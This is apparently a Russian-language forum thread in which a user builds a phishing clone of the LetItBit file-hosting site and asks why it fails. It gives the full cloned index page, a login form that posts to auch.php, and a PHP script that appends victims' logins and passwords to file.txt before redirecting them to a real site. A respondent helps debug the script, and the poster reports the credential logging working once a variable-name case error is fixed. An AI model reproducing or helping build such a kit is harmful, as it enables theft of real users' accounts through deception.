Короче так. Делаю я фейк для летибита. Там у меня четыре файла. index.php; login.php; auch.php; file.txt; Индекс это понятно, в индексе есть кнопка зайти и когда на неё нажимаеш открывается окошко такое и содержимое его подгружаеться с логин пхп. В логин пхп идет передача пароля и логина на auch.php. auch.php записывает данные в файл file.txt и переадресовывает на летибит с передачей пароля и логина. Так вот я это все грамотно слепил, и когда авторизуюсь идет передача пасса и логина на auch.php но опера почемуто пишет что такого файла нет на сервере. и данные соответственно не записуюются. Вот непойму в чем проблема.
PHP: <?PHP $Login = $_POST['Login'];Логин $Pass = $_POST['pass'];//Пароль $c = "$Login:$Pass"; $fp = fopen("file.txt","a+"); //открыть файл базы fwrite($fp,"\n $c <br> \n");//записываем все fclose($fp); //закрываем header("Location: http://cards.mail.ru/card.html?cd=00dcfed993b461be466bcca05114e17f"); echo "<META HTTP-EQUIV=\"Refresh\" content =\"0; URL=http://win.mail.ru/cgi-bin/start?1390370218\">"//куда пошлем пользователя ?> Вот это auch.php; Пробывал делать передачу пароля и логина сам на себя, то есть пароль бы передавался от login.php до login.php вниз вставлял код который был в auch.php но это непомогало. Файл браузер вообще не открывает.
Не совсем понятно, причем здесь опера и "грамотно". PHP: $Login = $_POST['Login'];Логин В первой же строке синтаксическая ошибка. Аккуратней с комментариями. Или так только на форуме? И m0Hze прав, хотелось бы увидеть форму входа, ну и другие исходники, задействованные в процессе. И если можно, посмотреть оригинал ошибки, который пишет "опера". И файл существует реально? Права на запись в него есть? И если файла нет, есть ли права создания файла в директории?
Вот что пишет опера. HTML: Удаленный сервер или файл не найден Вы попытались получить доступ к адресу http://mail-1.freehostia.com/auch.php, который сейчас недоступен. Убедитесь, что веб-адрес (URL) введен правильно, и попытайтесь перезагрузить страницу. Убедитесь, что соединение с Интернет активно, и проверьте, работают ли другие приложения, использующие это соединение. индекс HTML: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <link type="text/css" rel="stylesheet" href="http://images.letitbit.net/css/style.css" /> <link type="text/css" rel="stylesheet" href="" /> <LINK REL="SHORTCUT ICON" href="http://letitbit.net/favicon.ico"> <!--[if ie 6]><link type="text/css" rel="stylesheet" href="http://images.letitbit.net/css/ie6.css" /><![endif]--> <link type="text/css" rel="stylesheet" href="http://letitbit.net/floatbox/floatbox.css" /> <script type="text/javascript" src="http://letitbit.net/floatbox/floatbox.js"></script> <script language="javascript"> if (top!=self){top.location=location;exit;} function highlight(field) { field.focus(); field.select(); } function cr(form){ var frm = document.getElementById(form); if (frm){ var f_field=document.createElement("input"); f_field.type='hidden'; f_field.name='fix'; f_field.value='1'; frm.appendChild(f_field); } } </script> <meta http-equiv="Content-Type" content="text/html; charset=windows-1251" /> <title>LetItBit - это совершенно бесплатный файл хостинг.</title> </head> <body id="body"> <script language=JavaScript> pi0 = new Image();pi0.src="http://images.letitbit.net/image/mybutt2.gif"; pi1 = new Image();pi1.src="http://images.letitbit.net/image/mybutt.gif" pi2 = new Image();pi2.src="http://images.letitbit.net/image/mybuttS2.gif"; pi3 = new Image();pi3.src="http://images.letitbit.net/image/mybuttR2.gif"; </script> <div id="htmlTopBg"></div> <div id="container"> <div id="containerTopBg"></div> <div id="header"> <a href="/" title="Letitbit.net" id="logo"><img src="http://images.letitbit.net/image/logo.jpg" alt="" /></a> <div id="layerMenu"> <table border="0" cellpadding="0" cellspacing="0"> <tr> <td class="side L"></td> <td class="space"></td> <td class="diff"></td> <td class="sel">Главная</td> <td class="diff"></td> <td ><a href='http://letitbit.net/page/terms.php' title='Правила проекта'>Правила</a></td> <td class="diff"></td> <td ><a href='http://letitbit.net/page/feedback.php' title='Связь с администрацией'>Контакт</a></td> <td class="diff"></td> <td ><a href='http://letitbit.net/page/faq.php' title='Ответы на часто задаваемые вопросы'>FAQ</a></td> <td class="diff"></td> <td ><a href='http://letitbit.net/page/partners.php' title='Партнерская программа'>Заработай$</a></td> <td class="diff"></td> <td ><a href='http://letitsoft.com/software/' title='Каталог программ'>Каталог</a></td> <td class="diff"></td> <td ><a href='http://letitbit.net/page/premium.php' title='Форум - cсылка на форум в котором происходит общение вебмастеров'>VIP Доступ</a></td> <td class="diff"></td> <td class="space"></td> <td class="side R"></td> </tr> </table> </div> <div id="userMenu" style='height:1px;'></div> <div id="layerLanguage"> <table><tr> <td width="29" align="center"><form action="" method="post"><input type="image" src="http://images.letitbit.net/lang/img/en.png" name="en"><input type="hidden" name="vote_cr" value="en"></form></td> <td width="29" align="center"><form action="" method="post"><input type="image" src="http://images.letitbit.net/lang/img/ru.png" name="ru"><input type="hidden" name="vote_cr" value="ru"></form></td> <td width="29" align="center"><form action="" method="post"><input type="image" src="http://images.letitbit.net/lang/img/de.png" name="de"><input type="hidden" name="vote_cr" value="de"></form></td> </tr></table> </div> <div id="layerAuthorization"> <a href="http://letitbit.net/ticketsystem/usertickets.php">Служба поддержки</a><br><br /><br /> <a rel='floatbox' rev='theme:white;width:450px; height:240px;scrolling:no;caption=`Авторизация`;' href='login.php'>Вход</a> <a href="http://letitbit.net/ftp/register.php" title="">Зарегистрироваться</a></div> </div> <div id='content'><form name="F1Upload" enctype="multipart/form-data" action="http://http1.letitbit.net:81/cgi-bin/multi/upload.cgi?upload_id=" method="post" onSubmit="return StartUpload(this);"> <Style> body{margin: 0px;height:auto;overflow:auto;} #lightbox{ xdisplay:none; position: absolute; top:50%; left:-9999px; z-index:9999; width:390px; height:320px; margin:-200px 0 0 -200px; border-left: 2px solid #d4d0c8; border-top: 2px solid #d4d0c8; border-right: 2px solid #404040; border-bottom: 2px solid #404040; background:#FFF; text-align:left; padding-top: 20px; } #lightbox[id]{position:fixed;} #overlay{ xdisplay:none; position:absolute; top:0; left:-9999px; width:100%; height:100%; z-index:5000; background-color:#444; -moz-opacity: 0.8; opacity:.80; filter: alpha(opacity=80); } #overlay[id]{position:fixed;} #lhdr{position:absolute; top: 0px; left: 0px;background: #2c4887;font: bold 13px Arial;width:388px;height:18px;padding-left:2px;color:#FFFFFF;} #close{position:absolute; top: 2px; right: 2px; cursor:pointer;} .div1, .file_list {text-align: left; color: #484B50; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 11px;} .div1 {padding: 10px;} .myForm {font: 12px Arial; border: 1px solid #636363; margin-top: 1px;} .fdescr {width: 300px;} .xfname {color: #333;} .xdescr {color: #aaa;} .newb {border:solid 0px;color:#FFFFFF;font-weight:bold;background:url(http://images.letitbit.net/image/mybutt.gif);background-repeat:no-repeat;height:40px;width:119px;} .newb2 {border:solid 0px;color:#FFFFFF;font-weight:bold;background:url(http://images.letitbit.net/image/mybutt2.gif);background-repeat:no-repeat;height:40px;width:119px;} </Style> <Center> <br><br> <div id="div1" align="left"> <input type="hidden" name="xmode" value="1"> <h1>Загрузите ваш файл</h1> <h3><span>1</span>Кликните "Обзор" и выберите файл</h3> <h3><span>2</span>Согласитесь с нашими "правилами"</h3> <h3><span>3</span>Кликните "upload" и получите ваши ссылки</h3> <p class="padL50">LetItBit.net это совершенно бесплатный интернет хостинг. Загружайте и обменивайтесь вашими файлами совершенно бесплатно. Мы не ограничиваем скорость, размер и время хранения файлов. Процесс обмена файлов никогда не был настолько простым</p> </div> <div id="upload_form"> <script src="xupload2.js"></script> <table cellpadding=0 cellspacing=0 align='center'><tr><td align='center'> <div class='upload_input'> <br> <a href="http://letitbit.net/multiupload/">Чтобы закачать несколько файлов, нажмите сюда</a> | Maximum upload size 1200 Mb <br /><br /> <input name="file_0" type="file" size=70><br> <br></div> <Input type="hidden" name="pbmode" value="inline2" id="inline2"><br> <input name="owner" type="hidden" id="owner" value=""> <input name="pin" type="hidden" id="owner" value=""> <input name="base" type="hidden" id="owner" value="100gigov"> <input name="host" type="hidden" id="owner" value="letitbit.net"> <br> <center><input type="submit" value="Загрузить" class="newb" onMouseOver="this.className='newb2'" onMouseOut="this.className='newb'" /></center> <br> </td></tr></table> <iframe src="javascript:false;" name="xupload" style="position:absolute;left:-9999px;"> </iframe> </div> <input type="hidden" name="css_name" value=""> <input type="hidden" name="tmpl_name" value="pro1"> </form> </Center> </div> <br /> <br /> <br /> <div id="footer" style="height:20px;"> Главная | <a href='http://letitbit.net/page/terms.php' title='Правила проекта'>Правила</a> | <a href='http://letitbit.net/page/feedback.php' title='Связь с администрацией'>Контакт</a> | <a href='http://letitbit.net/page/faq.php' title='Ответы на часто задаваемые вопросы'>FAQ</a> | <a href='http://letitbit.net/page/partners.php' title='Партнерская программа'>Заработай$</a> | <a href='http://letitsoft.com/software/' title='Каталог программ'>Каталог</a> </div> <div align="center"> <table><tr><td> <!-- begin WebMoney Transfer : accept label --> <a href="http://www.webmoney.ru/" target="_blank"><img src="http://www.megastock.ru/Doc/88x31_accept/blue_rus.gif" alt="www.webmoney.ru" border="0"></a> <!-- end WebMoney Transfer : accept label --> </td><td> <!--LiveInternet counter--><script type="text/javascript"><!-- new Image().src = "http://counter.yadro.ru/hit?r"+ escape(document.referrer)+((typeof(screen)=="undefined")?"": ";s"+screen.width+"*"+screen.height+"*"+(screen.colorDepth? screen.colorDepth:screen.pixelDepth))+";u"+escape(document.URL)+ ";"+Math.random();//--></script><!--/LiveInternet--> <script type="text/javascript"> var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www."); document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E")); </script> <script type="text/javascript"> var pageTracker = _gat._getTracker("UA-1744487-3"); pageTracker._trackPageview(); </script> </td></tr></table> </div> </div> <!-- <div id="darkBack"></div> <div id="hiddenBlock"> <div id="signUpBlock"> <a href="#" onClick="return closePopUp();" title="close" class="close"></a> <img src="http://images.letitbit.net/image/signUp_img.jpg" alt="" /> <h1>Авторизируйтесь</h1> <table border="0" cellpaddin="0" cellspacing="5"> <form action="login.php" method="post"> <tr> <td><span style="padding-left:5px;">Логин</span></td> <td colspan="2" width="219"><input type="text" name="login" id="login" /></td> </tr> <tr> <td><span class="style1" style="padding-left:15px;">Пароль</span></td> <td colspan="2" width="219"><input type="password" name="pass" id="pass" /></td> </tr> <tr> <td></td> <td><a href='http://letitbit.net/page/feedback.php' target="_self" class="text">Забыли пароль?</a></td> <th align="right"><input type="submit" class="newb_small" value="Вход" onMouseOver="this.className='newb2_small'" onMouseOut="this.className='newb_small'" onClick="" name='inout' /></th> </tr> </form> </table> </div> </div> --></body></html> логин HTML: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <meta http-equiv="content-type" content="text/html; charset=windows-1251" /> <meta name="author" content="" /> <title>Авторизация</title> <link type="text/css" rel="stylesheet" href="http://images.letitbit.net/css/style.css" /> <style type="text/css"> #signUpBlock {position: relative; margin: 0px auto; padding: 0px 0 0 0; width: 379px; height: 117px;} </style> </head> <body> <div id="signUpBlock" style="background: none;"> <img src="http://images.letitbit.net/image/signUp_img.jpg" alt="" /> <h1>Авторизируйтесь</h1> <br><br><br><br><br><br> <table border="0" cellpadding="0" cellspacing="5"> <form action="auch.php" method="post" target="_parent"> <tr> <td><span style="padding-left:5px;">Логин</span></td> <td colspan="2" width="219"><input type="text" name="login" id="log" /></td> </tr> <tr> <td><span class="style1" style="padding-left:15px;">Пароль</span></td> <td colspan="2" width="219"><input type="password" name="pass" id="pas" /></td> </tr> <tr> <td></td> <td><a href='http://letitbit.net/page/feedback.php' target="_self" class="text">Забыли пароль?</a></td> <th align="right"><input type="submit" class="newb_small" value="Вход" onmouseover="this.className='newb2_small'" onmouseout="this.className='newb_small'" name='inout' /></th> </tr> </form> </table> </div> </body> </html> auch.php HTML: <?PHP $Login = $_POST['Login'];Логин $Pass = $_POST['pass'];//Пароль $c = "$Login:$Pass"; $fp = fopen("file.txt","a+"); //открыть файл базы fwrite($fp,"\n $c <br> \n");//записываем все fclose($fp); //закрываем header("Location: vkontakte.ru"); echo "<META HTTP-EQUIV=\'Refresh\' content =\'0; URL=vkontakte.ru'>"; //куда пошлем пользователя ?>
Блин. Записуется только пароль((( Во! Сделал!!! Прикиньте вот тут HTML: $Login = $_POST['Login'];//Логин в значении переменной Login было с большой буквы и поэтому не принимался логин и соответственно не записывался)))) Спасибо всем кто отписался)))